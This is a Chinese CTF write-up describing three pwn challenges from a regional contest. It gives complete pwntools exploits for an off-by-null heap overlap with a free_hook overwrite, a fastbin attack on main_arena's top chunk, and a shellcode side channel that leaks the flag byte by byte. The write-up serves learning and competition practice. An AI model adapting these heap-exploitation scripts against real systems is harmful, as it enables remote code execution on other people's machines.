国赛-华东北赛区

周末打了华东北赛区的国赛,最后第三名,赛区大佬还是太多,最后佛性的最后一天的patch竟然都没上。。这里记录几个感觉比较有价值的题

note

比赛的时候没有刚出来,。。当时脑子坏了😂,结束之后在复现发现题目本身并不难。

思路

利用offbynull,做一个overlap,然后leak出地址,接着利用一个index越界到ptr指针实现对freehook的任意写,从而getshell

重要利用漏洞点

1
2
3
4
printf("remarks> ");
sub_B41(*((_BYTE **)ptr + 4), 64);
printf("good bye %s\n", ptr);
free(ptr);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

def add(size,data):
io.sendlineafter(">",'1')
io.sendlineafter(">",str(size))
io.sendlineafter(">",data)

def show(idx):
io.sendlineafter(">",'2')
io.sendlineafter("> ",str(idx))

def remove(idx):
io.sendlineafter(">",'3')
io.sendlineafter(">",str(idx))

context.log_level='debug'
io=process("./pwn")
gdb.attach(io)
io.sendlineafter(">","/bin/sh")
add(0x11,'a')#0
add(0x191,'a')#1
add(0x91,'a')#2
add(0x11,'a')#3
remove(1)
add(0x80,'11')#1 use off by null to overlap and leak libc
add(0x81,'a')#4
add(0x11,'a')#5
remove(4)
remove(2)
add(0x81,'a')#4
show(5)
libc = u64(io.recvline()[:-1].ljust(8,'\0'))-0x3c4b78
print hex(libc)
for i in range(15):
add(0x191,'a')
add(0x191,'a'*0x20+p64(libc+0x3c67a8)[:6]) # modify the ptr poiter
io.sendlineafter(">",'4')
io.sendline(p64(libc+0x4526a))
io.interactive()

magicheap

这个题算是我的锅。。一个很简单的trick利用fastbin去改main_arena中储存的top_chunk的地址然后再分配时就会切割那一块地址(这最后一个利用链让我吃屎了好久。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*

debug = 0
context.log_level = "debug"
if debug == 0:
p = process("./pwn")
a = ELF("./libc-2.23.so")
#gdb.attach(p)
else:
p = remote("172.29.2.105",9999)


def add(size,content):
p.recvuntil("Input your choice:")
p.sendline(str(1))
p.recvuntil("Please input the size of story: ")
p.sendline(str(size))
p.recvuntil("please inpute the story: ")
p.sendline(str(content))

def remove(idx):
p.recvuntil("Input your choice:")
p.sendline(str(4))
p.recvuntil("Please input the index:")
p.sendline(str(idx))

def show(idx):
p.recvuntil("choice> ")
p.sendline(str(2))
p.recvuntil("index> ")
p.sendline(str(idx))

p.recvuntil("What's your name?")
p.send("%p"*0x10)
addr = p.recvuntil("Please")
libc_addr = int(addr[5:19],16)-0xf7260
base_addr = int(addr[156+1:156+14+1],16)-0xa00
print hex(libc_addr)
print hex(base_addr)
p.recvuntil("ID")
p.sendline("aaaa")
bss_str = base_addr+0x202060-0x8
add(0x50,"aa")
add(0x40,"bb")
add(0x40,"bb")
add(0x50,"cc")
remove(0)
remove(1)
remove(2)
remove(1)

add(0x40,p64(libc_addr+0x3c4b45))
add(0x40,"bb")
add(0x40,"bb")
#raw_input()
add(0x40,"\0"*3+p64(0)*4+p64(libc_addr+0x3c4aed))
#raw_input()
add(0x50,'a')
one=libc_addr+0xf1147
add(0x40,'a'*3+p64(0)+p64(one)+p64(libc_addr+0x846CB))
p.recvuntil("Input your choice:")
p.sendline(str(1))
p.recvuntil("Please input the size of story: ")
print hex(one)
pause()
p.sendline(str(1))

p.interactive()

shellcoder

题目给了我们几个可以利用的shellcode字符,然后给了4bytes的执行权限。动态调试的时候可以发现r9这个寄存器会根据我们输入name的长度不断变化,其中的偏移大概是0x16所以我们可以利用push r9;pop rax ;ret 来完成对v5字符串的覆值,我们输入的字符串转化成ascii码然后减去0x16+1就可以在r9寄存器中准确的储存了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import sys
debug=1

context.log_level='debug'
p=None
def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)


def ccc(idx,v):
global p
if debug:
p=process('./easy_pwn')
gdb.attach(p,"b *0x400EA2")
else:
p=remote('172.29.2.106',9999)
ru('inputs your index?')
sl(str(idx))
ru('input your code:')
se('AQX\xc3')
ru('tell me your name size:')
sl(str(0x200))
ru('input your name:')
se('a'*int(v-0x15))
ru('Hello are you ready? ')
ru('\n')
se('\n')
data = ru('\n')
p.close()
if data[0]=='b':
return True
return False


flag = ''
charset ='{}_ '+ string.ascii_letters + string.digits + string.punctuation
for i in range(32):
for q in charset:
if ccc(i,ord(q)):
flag+=q
print(flag)
break
print flag

多说的

还有几个题慢慢更新上来(几个简单的就不更新了),题目还是可以的,死亡赛区称号可还行。。